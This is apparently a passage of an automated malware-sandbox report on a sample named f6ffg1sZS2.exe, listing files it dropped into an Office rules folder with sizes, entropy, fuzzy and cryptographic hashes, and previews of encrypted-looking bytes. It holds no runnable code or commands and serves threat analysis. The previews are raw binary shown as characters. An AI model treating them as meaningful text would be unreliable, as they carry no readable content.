Preview:	<?xmlp..f..Ph......ZQ...s{~si".TkZ....wV'.}j.......Z.[.T..,..oK./...k.\|..4......1/...\m.>.r.<e..BA.~..5...~..?..~....,..J.....A...........V.x..4...R..`..{...}....VN'0..%.? ................Q.m..4...\C.T%)1.....h..>...,.i...Q:\|\.o..I...m.S5g.Z.ic....]<.gS_...w......\.Z.5.e..\|..N"(..I...Gi...Z..\..y..]..)..`]......G......Puw..d...Kk.b..y.N.?hXHY.H.@......W..%.~.6.?.~....q..c3..NH..I...:Sh.7..T.........z.x.......7.....~.XtZ..T..v..!...9P....&..M...Q.v..p..q.WQ..~.5.V~.-UY.`N..\j.....OL4......I.\.....i \.Uh..a.......'a=..T...._c.m..=..+.>......c....a.u..p..>x..n..t.'2/.. .......#.....n26..A.(L...54n. Vca...ZY.}... .A..{8^..\|...J._.0K}V.yLM.5i..O.X7R......6..u..<"r....1:..X..g.i..P.qj.Bgy.Z...1.\|..B.(.\.o.y..)....B..;.G...#...DB_..c..............JZ(.O$.&......."f.LVr7.(..{..=X..>g.K._.t...ID...,..D.+.z.Ts....l...,.l..v~..v.m.OLY.)[re.HhJw...d.{.r.G...2.'..'.7..'.%.f<=+=:..oV....+ .F..l.4.Rn.7./.mq..ra.._p..Y$.UTN.tv[...".9.H.\y>m0.P...S......t...X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.743465441235431
Encrypted:	false
SSDEEP:	24:Qz5z9X9OjCm48pjMvAEmvOXg9yyG8p/foO2UbD:Qz5zOOL8pj5EFg9C8p/wO2+D
MD5:	28E48CA00F5E38B25C6720AA1C7B266B
SHA1:	3555E835C8FD09C5136BE84811627E25235DD19D
SHA-256:	0E9868F3DEBC5922CD0A79E91337EB83BA2146520D318A615922D56F0306D2B9
SHA-512:	763332D68484189CE34F6D8AE0C2A85B3CAF42D55AD3F070358183153E9A4F6D367E316E11256B6C6C644A6152A54382399DF6192080EF5CC8BD64E834F9958E
Malicious:	false
Preview:	<?xml..>.:A.&..>..]a...............5..$.>.)..C...a.=r.W..J...Ve.k.u..vyC.l'M.....;_.@Ic.^..:!..A.}..Upd.$..n..._H....[-.J...'..`#..3.B.\K...X.....9D.W......."./\|...4.V...q.O..4..+SY.@.........Q..=..!`.c.7........JD...g..<4yC...uo.Lst...4_kd.=.^i.R...5..B...c+....9......~S..j...G...pT4.EnAn.8.....&..1.K...\..~..L....#..U.%.....u...DP.}.+....Ym.k.qe.]6{..JCUo.?/..$9i'Wwo.-jn....}......'.....D.2..r..C..@..${.........i....q.m..UcL...Ox....E......."Z.y.`&.t$.j..t/\|7.U?..t.. ...tt.V.L+..W...@K(k.6......E.F.WD..H....u....E...HG..z...H....5.2.....v.....`8.'5....x..<....h..&N.n...aH...5W\|.6..v~~.f.36....G....d0..H.F...Wa#S7........"......Mp?..9.g..q.R.....9.7...9E.OS.v..<.......O..>....^B...h.:.jLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.908102457316946
Encrypted:	false
SSDEEP:	48:BzKNaHZQ9EPWRuSA3qYy8N1bsPUAPQb/DMLdviWVAx8OPQWV2hSRD:h28ZQ9Ot93W0bqUAPQb/WvicAxZPQeQg
MD5:	F1837EC37B5AC0376DB87078BE64FFEE
SHA1:	FE1BFC9140B650CE54F3CD96A72CFEA10FA44B77
SHA-256:	85F466C74D3C78F3EC2E06FAB24B0971D098D8E13374B3EDD5DE4E8D28DEE0BE
SHA-512:	FD16816DBF157509B2D9580595C3A0CB66935C0C173575DFDD9A2A1E9BBF72FD8A33AEB0C0EDB2D0CBF3D81BB75302CACD2258754AF0945E50D1A896DC0AF60A
Malicious:	false
Preview:	<?xml........H..8.....Q../.~....Ucv..Ia....DnM6.T..U.JwG..&..S{..? ...HIGZ......cA........lT....$o..;...~.........;G..FmG.P.a..E..g..J..2A../S.Q%\..T.....X"..l...P.'...r.>..7l.Wx4...... .J.B...z4#b.....S..d{......Z?.p.I...Q..$U(....Q.+.g...\|....'.qU....{.CkM.N...j.......6...;.f>3q.\.t...b...z6//....U...5..V.P..q(..Z..L.F/....%.5.}C..[y....!.7.\.9....#...M`.!<8.k.$l.>....M....@..{.T.....?"[.. .t D4..(<.....W.......'[.H.CM....Y'M..>..b..f..1...X.<.+...ir..g..e...a.q.9?.P9....4...4.8..0A.z.5....?..R.s......X.AK.H.N-...Bo:.....U:...M..}CL...y...$........g........yQ..s..v..A.jbT........,....a...w....i......e..}....q....oAI....2\|...0..8sM....[.@.....#.y~K.OB....f.7...#....U@............G.{..n..R.[.. .y .;.m..8...E.Y.H*..2.;\|.....sD..6Hl}a...[Cx.......(..Pq.%D..-:.c.o.?[.s.P'........3).5v..O.R.[.R..'.iU.X..iLE.cI.m.....,.r....A..l..m.,.Ts..R..w.g.B$.i[..z.e.........nB.../@k.yc.e.h..5.Q..M...$...p....$...vt...0..;!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.69054051262536
Encrypted:	false
SSDEEP:	24:ArbElaBWnsLoG73V30dRmSzQZf9Lcb9ZWJbD:ArVBWsLoG7350Pm8y5cbX+D
MD5:	62CB08C062F1B4592EDD2C5B78D44030
SHA1:	E8CAC8C5BC091C04505793FE67DC6D69319994D9
SHA-256:	6871DB05AF39BDE4C86B55E3BC78ED9FADF34E9323B53A2AAF811D96D525F4D4
SHA-512:	CA3F8F06A393D96680E060A1EDC64B46671E1BBF7EA664449F82B3A672D3790721C2E644E7B2A2E4E8F5E3223BA13563821952A6E224FDF1AD659FDDBF4A3887
Malicious:	false
Preview:	<?xml}.....a...'l..(u....%...t.Ie..3%.6P..F&.?(.j<.Lr.@..?.......A.n....Q_S...T3...T.. .%MXV.E^#...m.d.D.... 8..b\|%Z.~t.....5...8.<^.i8..PGB.....WT.):?Z..\SS.b.>o....1..%....`.....n..ku6...)1..T.Z........4....M..&.d.4.P=.....Wv....#n.......c.@d[.q.J...R....W.J...._..5g....:.=.\58..=...c..~g)?$...1....>....'.._B..P..qE..j............C.<4...L.i O..;.0.~..H....;GD....@0...n......N....y.'-..P..O.PE..S.\<...+V{.y6..o....;..{y..W."..[........\.Cz..'..%%u.......b........;..Z2.>Y,.f.x.&.2...$...M....E9...D]....#.U....9X+wp<......j....;.@.Td...;.........n.&Y..>TM......aw.RB.^.o.c/....u..cpZSe.)...U...TQ...A..T.B"w..Z9.."CP..E.y.n.1ub;cP;wA.[ik.07!.EFtjjr..e..{#...+.>....c...0..9L..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.933797676955404
Encrypted:	false
SSDEEP:	48:NfLGIpXGutn8Z88yDXI0v7NVz2ItNYZU2AaNRKq6aDkfzUJv4P4S+ncvD:NfLGIpWut8Z8H/vT3tNYZU23yfE4enc7
MD5:	FCC91555801D0DC70CFF403D66208B8D
SHA1:	B93CD4BBEDDAA5C21AF2F4DD4C3B758F3D675EC1
SHA-256:	4CA5A76EE3EEB2864170FC5F5186F068A49A954B8611FAEF80AD4F2A0ED62762
SHA-512:	B58D2A022F4647DA1F25E0FE40ADE2B845E084C0E65E7E3F6459FB9FDCD6DFABA510DE5370B3E2F94CE5B321612CDDACCDD20569FB2E3051D877AA99510213B7
Malicious:	false
Preview:	<?xml.BH.r.2C.F.{....{,nb.T.F.f......./........5..{D}..J.n.8.(7.<..U$'M..a.@..].q2B."..-.......o.6..c...w.J..8.!..i?.2A...Q..H...`.g.S9..4..4..o.......$...D./!9e.o`_L3..z..u4..e....OP.A....)M..J.....\|...bNlh.M..b.`..b..c..@.-c"..U...z..4R.O7:...W.?.v.{...37.......(t.G...dE.....>R3......R.@M.;.Z>.^.m).%....B.......X.[.hn.....^...A.Q@z9.x.q...Q/...P.A3..;........T.Y..X:..>...6..P..jA`W..G6.~.5....P.8..R.#I.....!.=d...2..._..H:.^8.S.M...N.kk....G..MW.O.o...........O.o..u.F..f..s.3..{....2.L..x....2.....H.o.=.[.......1...Rn..{xJ...g.$Fs..0]..8.....MCS.7...{9./..W..%D=....$...Bl.%..T&.D.......(..h...:......r.VBi.bj6...?...Y'.0...\..{....EO....T:;....O.@NJx...............M;1.mR.[Z.e.A?...y.G.......q..s.R...kI*%Q....}...Frv....b9.?........;/..F.U......,.:{0.q:]..........c.@.....X..5......Evn....X...1.rV.,.`.........L..BW....'Q."....8....uR.<..X.o%.\|.U.".....z.}.U..t....>p...S5..t...C.....K....s..D[=...9.p...;.Lr..^..V......4..LC.2..V.F......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9361456367146195
Encrypted:	false
SSDEEP:	48:HDa4ifl1WvEMiUv1CBPQRSQT8zMNCYh+zXgU7VEWOf5m3e5Fcq4dDpVdPXaI4sZ5:HDrClovEMi8CBYRezM1QXn2Nm3e5TyXX
MD5:	841579084C94FD928721595F81E5E87A
SHA1:	BE5C92C55FAA318A83D75587EF79C71FDEAB4477
SHA-256:	86F99A07A0C65C2492DD28AA334E89AC8A79581AB12BE129AA411CE4D7716BEB
SHA-512:	8E4E485715425EFCAAC4FB50DC3E7937DA23EA259A143C371A7073F3D2CE1034F13E35F366F550EA27BA370AC32CB206E4D982F2F0D8050D7966EDCD22593157
Malicious:	false
Preview:	<?xml{.&...zk.G.....z..6..!..."T.C.eZf..:....m...T.....h..nZ..w.#.=....2...y....$....d......0-a.#P..\..Z.3.E.....^..N..[.._..^.....4...}..`o.o.N!....Q....B....6u.......3.w.].?.a..qi.F..u...!..$J....~..4...p7g../:Q...5..)o.'.....$_..E...\N.^.,.8..$.....c./...Xn..s.1>...p....z..f._U...G....l..\|...68..S..].YC..%.2.....<.f.-."]..r...z.."...t...8.r..J...P.N..5..o.......:.....t_.Wr....\......m.@y...u..Z...j...z:T.?cp..K.....r`..v...X6..:....h.W~...?.....BH{.O^s..~.`..V.......xd)]..(SS..0.....&..S..mw.._.....i..se.D>..T...{."..-O...tV..G....gt..BB.6.9^.N.'}..$A..JMu.r.......e.`U`?......]......@w...........g&w......s<o......Jbr.... ..+.W..........RE..^..l.}...j.a.?g5+..0\|.uy....wv.`...D.D.....O....6.1O}5......@....._.$.j#..h........b.D...']..Z..@{..?....r.N.c..n.3'x.S..@APw(I5....z....Oi.du...p..`.r#..-!.HA#?...[.f.....53<.&.p..I7Zj.,..x...aL....J..l.h.....h.0.`....D.....-.........k..U-.yL....dA.6......Ye.....c..D>.!.qhs..X.4:.h>.@I.fp..rf.#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.958961342358579
Encrypted:	false
SSDEEP:	96:yj0kZijbfswgWtH9c3byQnRLXbrR3FbnHqoXMA29n6bo:yj0kZMjDFWnhbFhKMLq68
MD5:	D1073A8248858CF92DB36C6872371EF8
SHA1:	1E55E5832C230F66B7F6779B7A8E0053B6A66C31
SHA-256:	48190A2E453283C5B0352CD7A6CF58AD96FE0F18F0DF5810E7949ABD68DAF27C
SHA-512:	4BAE4CD71F91E90DCF7AE00F2B6E188180EA671E1B2F88DC9B2048C52CD4DB62C1E120D9A6F086EAF7E3F2B45F6869BF6D30BA6F915D933D94714651F8CD8BB3
Malicious:	false
Preview:	<?xml.o..re....P.....-u..6.;....k~Yee...t.y.......E.W...2...4d....h.!...B....)....>.....CLKo....O.c.K./...j.l.......6........P.56..V%........%b.b....FMO.Z....W0...........f;<....S,SF..e.wx.R`6u.6..~..._?C.y.R6U(.D.(5....0.Y{..:..x. .v.$....7...;....:..Y.b.&.XzH..`.L..r..xq.....7.......X=...8..dEX..4.....>..\....}..+.........c..=........n...+}.C..a.t....-.....Eg..Q?_n2....X.x..rwT%.N...ZF/bV.Ai.%....]\.sP....2>...R.iO..[.-@.5.w....a....L...B..%...N.(.=.K..oC.U.....F...'..(....Z]:'.^..]..z(Yy....}.;9......d....7\fR[.}....J0.rgT.!..'.\.e'.6~...'O.&..iq......;\.....ng.....'9....Mm.'.<....h./X.&^zj....9".....H}..O...K.-.t..^.......u..j.d5..0..E...}.j.U...>...4..J..e9.~.@..uUd...F.....q.........q....]./..qa....?.........._.....".......Q...L.;.......d,_.!b.G8..........`F.`:1.......:.B.o....l...:{...c..v...W...5..lh...)."...J.b&8A.x.....K.....ke.....h...Xxg..Y>.B..<...l..v..../k.....^E..>.?W....r..k.U.Q.LE..G_o...........C............v0Mz.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.8561505045279505
Encrypted:	false
SSDEEP:	24:6R/hJJAv6FrNiLTHhDxasOZZS4u/rhA0pWIxmb/qlpe4ijVbD:6R/hJJACNivQZZS4uFA0pHu/q4FD
MD5:	F0C20C391985C65F913A25A71972747C
SHA1:	B27751745DFF913F5A8E394BCBA498427C3241A1
SHA-256:	221A3B439077AA79B3B2EAAF9F6EE6C2054EB1A4C089259A1AF821D15EE94C1A
SHA-512:	B587F43474FEBF9F12E67B12557F642CD19F95D24CECC2922C1F0F46C2916E44282C02F1099B83A864D7DE69AA69F5282B3D9EB044AFB0E9469308575EF78DBF
Malicious:	false
Preview:	<?xmlF...6...K..j.j.w...L...5/...\...T..MLu.a...v)q..FD..B`g}y..Y...y.J..&..).y....Lw..%..T..U.0r{R..X..L.,.....A.a.v.+SQ..!.\|kce.b`...H...5.....^......)..3.~....I/..c..9..@.8{..n?(.....+eI.Rj..q.C......5...=LG!..N....W5T..h^..f.>..&.-. ........1...XH..v.(.#....M.=.vIc..u@#>."...pM2W#i..../.....)..pS;.C.;..]..!.T......W.....?..\.....2.2.tR_.-...!1H.....s!.vs...6U.44@Ry<.......y.y=[....%.Fi.....3...F....m..........z.DMp...0..D......t...-..>?...\|..>...\|.....r..'..4.`......ST....k.......=....r........M..~..Q...m.T..g...{.._..,.<.R.5{....;....:9.......n9..II..RR.w.T....{..:.......7.n\|....:......b..X..t..O.....L..3...._.g..B%..q.(y:.#.......z.N\.:I.A.....~u..o.%..!.QF.fS....nb...5...*.\..@....J......S..c.......Kj!{..T...".d.\|....q..=...d.7.qMv.....7E..)......Gz.,...L<5^.).P...]U}L.h;.3...JJ......#.0....5}....r_}...6..a..h).V..S.Q.'.u............"..'h.. ...&....04c1..rA......c.....Bb..~.c.....\|.K...4\...A.....L..BM..:.......ku.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.860089532067735
Encrypted:	false
SSDEEP:	24:D8UH0vEeE9FZOpMPvBQeKj76xus6SeW+oY06DpYEOFTLOVX7Q6bD:ru1gDP5QLzs67Y0VYEcSXU4D
MD5:	90DB3E87EA9E33A2C55DA7B416D6FEF1
SHA1:	79CEE01B75AF1EC4EB025D106F52E62A39E1AA7B
SHA-256:	332D4168D056F13D963F9AD93A5020C68B220389D1048E278945B9DF08E6896D
SHA-512:	8C456DD0D114990ABC50B2269720698440672FC5C8D45C40AD154BF79400135EE6B5D479EA5B53905B2C29ADE34F9CCC5DEC626553CF8AF89212E74F87761E73
Malicious:	false
Preview:	<?xml\mm...M.....{.Ra...........o>E...C{F..h....B!.N... .....G(c..\.+., .....?..F.>..#-....x.a.u......V.(.~h.....+&..EA..+...d.>(S#/+z.#......CQ..".....aw.....KB.].N...2.Wl2.=.C...%..N.....Z.e.).7.........\|..."..Z)M.VE...D...3..o}j0A......wIq.$..(...k7{B.x..\...s.I.,..H.....,..WI....N.<..._........r.7../9_..C.fIFyE.(E..........D~I..c{.......v.B&.&...6w!N....k......#.U..L....y.:.z[...iX-vp......(..i.....d.`......I.....=...a...)bH\.#.....OWx^PV...Zh..o..7...cQ3....m?...0.......~.z.Iq.E<..O.... ..\|.8N.....D7......f.P..F7a.E..'#..E.1....;......~..).E+.++......s....D3%..l.-....M..R....w.;.....w98.o.G.....1..........=..pKO.d.B.'......]<.....9_N.-.c.......!%...L,\.;.ZC....y...Y7.if.}...-..)?..S2.i....r..l.u.-u..H.bp...-w......$(wV;(.F..vW.. ..W.L...=....z...}#...0.#\7.2.vp.~q'..`.....@.r5h........pQ)....c.?....~../.m..Re.#2.z...@7.h....8H...I.e{K..h.A....]......#.@..g2.Ng..}..%..k...D.....u........\.&)..C}&,..&.....<.U.g3.x.v.sQ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.806612885099447
Encrypted:	false
SSDEEP:	24:nJX7ZF7FbUDbYi46PcBTFo6Iu3binKhxj47eIBuc3bD:n17FwDMUwTGx+hF0pLD
MD5:	8A0095ECC900B8A78D425F7DBE5B3793
SHA1:	DC8708CA3A0730471B390690B6D56A9A22DF6D8F
SHA-256:	B671FDBB2AF159205D3080B289ADA5C402F49ECF8E4A48611F0E28C779911A77
SHA-512:	703A9A4556555FD308A5278511035B7DFB7B8EF967B498C67FBE8FD1BFA1595DC70D67A5B2D05FA88A2379F4A9635C8CFE06666AC15B5168BFF9E7F40FAFECC8
Malicious:	false
Preview:	<?xml.......o.$.6...d.0_...n{G.93..\^.G.\.Q.E.l.z@B .$<4...l.fX!6.M+j......_....,u.....&...{.t:.......&...n..[..\|..Y.Dz..'....,..)........N..b.l....{rT1.u.........h....E....U{.5..ul.z.\|>......?..:.vw..U..}..Tfi..~....V..%Z.p.b42<....N..h2..- j..Y...gl[.....m...?-y..u.P.x.4[P..."...fb.....P......D...1>\|W2....E.....H......_1r....~.....~U)..Q 3.VX.0.....E.i'..R.R.5.Q...@...-........iaq..V..iYg ...!......!3.=...s....G.0.jqt1JV}1R....k..L..Z.-/..G..wbhn0.~....VT.<..2H..`...Gj......... .O".....]c..2.@Q.A.r).......n0..0..I.5.h._.%Pu].v..)...hA.R4.#...w......'Y.C..bV......S... ..d0.Y.u.....e...&..K...nS..G........n.Y.M..n$k...`9G...Z..`.sQm..V.>..../....VC1.s...A.G.....%n.,-.&.\...J...>...%...F..d..9.7.hf.<.B...}...2..J....d.I.7......\Q."s.-g.]{.)....J.0..<M@[..\|&......09l......I<#.<...m..V..+...;.m.pu..Y).8;..k>z(......5.D..X~....L.........D..X.....U....Uav.......J....b..(Q.{.....2.n..h.....G.'3.t..........+.m3.t,.....4.u..?.&.\...]~^0.>.]ik.]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.977091023035476
Encrypted:	false
SSDEEP:	192:s56CBGfdCuCkZUekhHhflHZNmF/johSCeo0/UhXn:s5RKdAYKJlHZNmF/jorQ/Uln
MD5:	6C560A1A931C342510CD5DE6E63BB643
SHA1:	2C5889DE9E402912C89D0F81DE704AEA9EB23C16
SHA-256:	8653789A880F006F17A5079C9A781970C1EA91587982BF2F6770CEC3130ADC09
SHA-512:	E55B5FEAA419E2A0DEF3FAC3A56146C31C5F26A3CCA3479771C304E19ABC38F8A8DFC0702594CE69FD59A33187B8BB68FEE6B1720F688028B4D2A73C4E0D6A54
Malicious:	false
Preview:	<?xmlb...:...:~:.......wu.........:...3.-.......q.......hI...Ud..ac....\|G.f.....k6.0...Z-{..g)t#Y....C.}....q..6d......g3.va.$.z\..q...R&J. +R..v]..<......@K...b../.]..+.-..(....f..ZK...CS..Or.Kz.....q..I.Y..zY..../..X.g.z.b.(....',R.x..!a.C.9..<.9..... ?=....R.....$..=..U.a3....$W.s.OC..g.o.1ex.h....R...{.../.......uu..)..w.. ^.9..;&.y.....^....iz._..mH..........E..2...L....."..Q)....N2...~.U.<.y..f...v..E.2P._R\|....,........,..2"_.....5Q....e.GKlZ......t.M..P..P..j\|..R...Y.Gg..o.y .HW.Z...\|@..d..GGT..Y\|.rHW.n.IW..$..)bio.$.'........L..#.v\|.....r.hoR.......7,.....d^.Tm.d\....?<C}x.-J`.\.t'.w.rOI.a.....i?^.cR.....LI.)....].a....u...)z..c.....;50.q..\|.v.C....W..X..j.9.}<...e.. ..5..\|...........s.U.......D..N[.L..?o..A...4vD...q..}.f}.......Q.#r1d.pB.....5.w...4'.\Rg.....}._...M..uZY*..N.C(..lrs...&o."......(..(>6./$7.0\7..UM._.D.....gs_.....5eSX_rZ5q.5ih.9EO.g..@.m.l.X...!W1.}.vh......VE..)....k;.u..a.>6...%....P..n..mY..W..+f.....'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.964716560875593
Encrypted:	false
SSDEEP:	96:O3RPNuA7aOxx022fGL44QsbTVK1edJ6zNFuyav1eqtPZHkxOo8GHDLDI6Nx3N96v:On+Ox7YB43bjX4WxtkxOpGjfVF4L
MD5:	6CBDBB6BA6ACD5C5B1ABB28AEA8F0FE5
SHA1:	51F39B7870368D04B437CC648F8F9C42A48D0303
SHA-256:	C0CEF1F967C7D1849031B201102498FCADC5C594ED363D539C768F03AF4D2A97
SHA-512:	674E086A58112DAC3549BB74792873A70A46BDD14467F2CCFFB48C5371C2B2FB9B7504CAF2829A88978E567C17E9FA332E57346323A3D31BFF7612602092E502
Malicious:	false
Preview:	<?xml.....>...%...l.....Q%...9m.b+...JU..ra......6#..A.X..$i;N=.N.`vW(.dsg...&..&.r..C....$qX.w)....A.#l&{++vp/.>$....=.6!.4xx.5.$.SA.../...;..y?y.F.....@v..@......&......).....].l...[...}.#\.L.B.A....}(.....B0P......n.".....E..V ...[....p...UqI.HwB.vT!...-..4.A.Cg..,.R?}.]...gTpOq...W...)E.,..i......Zm.+kbF...8....SO..).....<......=(9z.B#.._~oq.,dQ.y4E..?.5.......5........K?.. ......\|...=Qlr......}.!..!../m....O).;.I..b.x....l2~I.xM......ok.f...kb)..fP....C/..Twq.9S;...Gr.SU...N8=...?.ov.Y%E_....g...L...9... .xr..w...L...j..P.f}{%P.-c'..`p...tJ...j.N.h...k.l...9`E.......<.....2aSj#R.1.spVZ..t>..,(6...Z^o....;.!..I?.BVZ{.X.....i.h....U. ...1@.....*......].5....V........n.Q[..{G..^.@....5..C...p......R.x....o..a.U.. ..s...)...%..K..d..}.Jy.Ko....``'.....,...Eez..>.HsQ.>....@....G%.K.`9......i^.......7p%..}.(b..<.C\Z=..6J..[...:.....G...f.r./..!.\|....3.......{v.....p...D..:.7Vj..,....k ......,3.6.........X.........H..A\y.b2........]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.965468541365121
Encrypted:	false
SSDEEP:	96:p84o/WfLd7wjMwdyJyPQ9KydT//BTBbYiiy/G8WHb0EX:pSOZ7uMiRyp/BtrGtbbX
MD5:	A9FE31F0CC2A044D6AB5A232D5A00988
SHA1:	1A6032D2C4EDB0BB63A552A7D880DB94DAD5AA28
SHA-256:	85B814B1598FE0784EB8EA91AEE666D1B51785270FA08AAAD791612D68977CA5
SHA-512:	2C4CAF49BF3B1531B821DA1C23B37D67CD11F367F450DD5D7E0DB78800AD4F9EEDA75BC538A9E972498EFD3204432C398E18D01910A9DD3D512851DCC67FED15
Malicious:	false
Preview:	<?xml.........M.B.M...b..Fc...o..!...{....#...'V...p...).E>g~b..l.,z..,x7t..K<..FUA>.........O..%1.."\|.u.Hl'..;.....(.H.#..].q.GS....Vx.@.{....H...RK_...u...F.d...}.)\]L...z_~Z6}..mC2.q4.....I.13.}........}...\|.#.....y..oN.....j;..q%:....,..Ru.] Y....m......O....[-..;...Z!._.[.v........S.a.....'......PZ.H8.4...#.L.g..Kr.m[..46_....b..I. .u5.....2-..%,EI(`.[>!..3.....r...d...v%..:F...+>.\7V..%...v...d6.So....n8..X......e........X?.^....{!ZB+..1Z.z.7FUD.........m[....T.a..X.U8.G..6......B(m.J..Y.u.`..0..[.R....}..:.m.(....C....R....F..U.4Q.8].X7p...4b..j...RP&%.v)@\....h...t.e.J.og..d...).U+L.......8..xD..e....m.Hq.g.0...T.X.8!.+.C7.zjT...4.V.V.r..SV(.2..4q.W.....}D..f...3..`......B..3.N..0.)&.t.M....Z.....?m.\|$.....+..]..9\|...NC!.o).>."e.K..s./u_...z.'...N.Q.../.[\|.......T.$.Di......k..e.#.p1-g.H2...{.E..........1..........U....p_..Q.3eX....W~...8f.)........QZ..1@\I...;:....!d3$Q6mJ.`'>e.B~+z...@[..e...+-].xOy..E,:.6....k...6;.....\|.....v".}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.955431456855446
Encrypted:	false
SSDEEP:	96:csShRL0K6AJO0ky7oWdZbnNK8ldTAwQK34PGU6R9mewxpuOxoC/MFXo:EhRgJy7oMdA835QK4PGU4YDx1xTMto
MD5:	4FC17DA3EA328BC53A5D667A69266E0D
SHA1:	F495F17A227D25E3759A83203C810866C37AC572
SHA-256:	6C56FB73346D806DD7B1E6BE64C7FD981DA79715369E34498982ED08CA467DB7
SHA-512:	EE04EE89D71E08136EEE28160BFD74CFF8A969C3C2C1C63D19C7F167BD1BFCFBA0AE1D61C46392034E639F9FA548D80CE94442621F913C450709907CDB9FFD1E
Malicious:	false
Preview:	<?xml........p..._..U.... .........m....N3.................J..q.N.....3.._.o7.(.}o.\|4...../.j......p.l_..9.o.........3v.....~c}.D.H<..( %.l}.X+.n.:.Sf.I..z.=.5m8.t....r.....9..w..........r1,.3.U....w.J.V....!.'.....E]^,.o....C..u./.!..:..%u...W..=-aO.M.........c..G5..r..m....e....h..?..xX$....x..Z..\|j.W.7:....Z..bcm....O.C.x.....@o.5.`..do.......+..h'..9...U...L..0..>.n.HK..N<C...8.R....<K.\|Ow.S,5he...9vjh.....)..g.LNK..+.Oo..."O~.z.2.....I5.yI.9Z...0I?....S.3..rX+c....]'b.YzRN. ..4nj..VT......9j..RNf./..m .4/..ukJ.....6..S,..../,.'.&@...9.Y.p.....Y<..)..y..[..B........;....X.q..>.7..;5<...."fI..7..]..}..xy}q..._.....,.4O..y......\|.`.7:.....v.z...&......V.`..%C_..@./...fC...j....]`.Bp:^vD...8..y.g.....\|.?Cn..(..!g....."..>c,"9..M...Z>.) .....HU.>....GBc....+........>wU.L...\..&.\......H.H.. ;.......<.?.[4...'v<..Z..Y.r...FB.y.!..a.....^...........OK[...T.4.".?......E......B.4"..$.(..."..gg]\M..........-.rn.v.9.s..f.....gw...e.WCQ.*.(.0..8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938771912740247
Encrypted:	false
SSDEEP:	48:O7/TWlh7VgGtkkpVCkFvTD9rwof8deGeIS6YypjkT+5h/bTCADo1tkpOLStD06bM:O770tVtgcTJrBfBYFNpj2+f/HWR2G6bM
MD5:	988CAD330BF345E2F19063715010D855
SHA1:	2B0D65B3CA75DFE2463DED53634B3C4A3E10B553
SHA-256:	C074C92B0C7F2D3FBA0D8B874610CD6156BD55DB65537EFFC1590D221F943EAB
SHA-512:	0AC12539E53B249CB9002877A8671D882511E01191BCB00FBF2397F5E70427435849D53999CAAB02B6B48131DAF78FB9A24784BC0E6C1BC8E14593D6A1316CC8
Malicious:	false
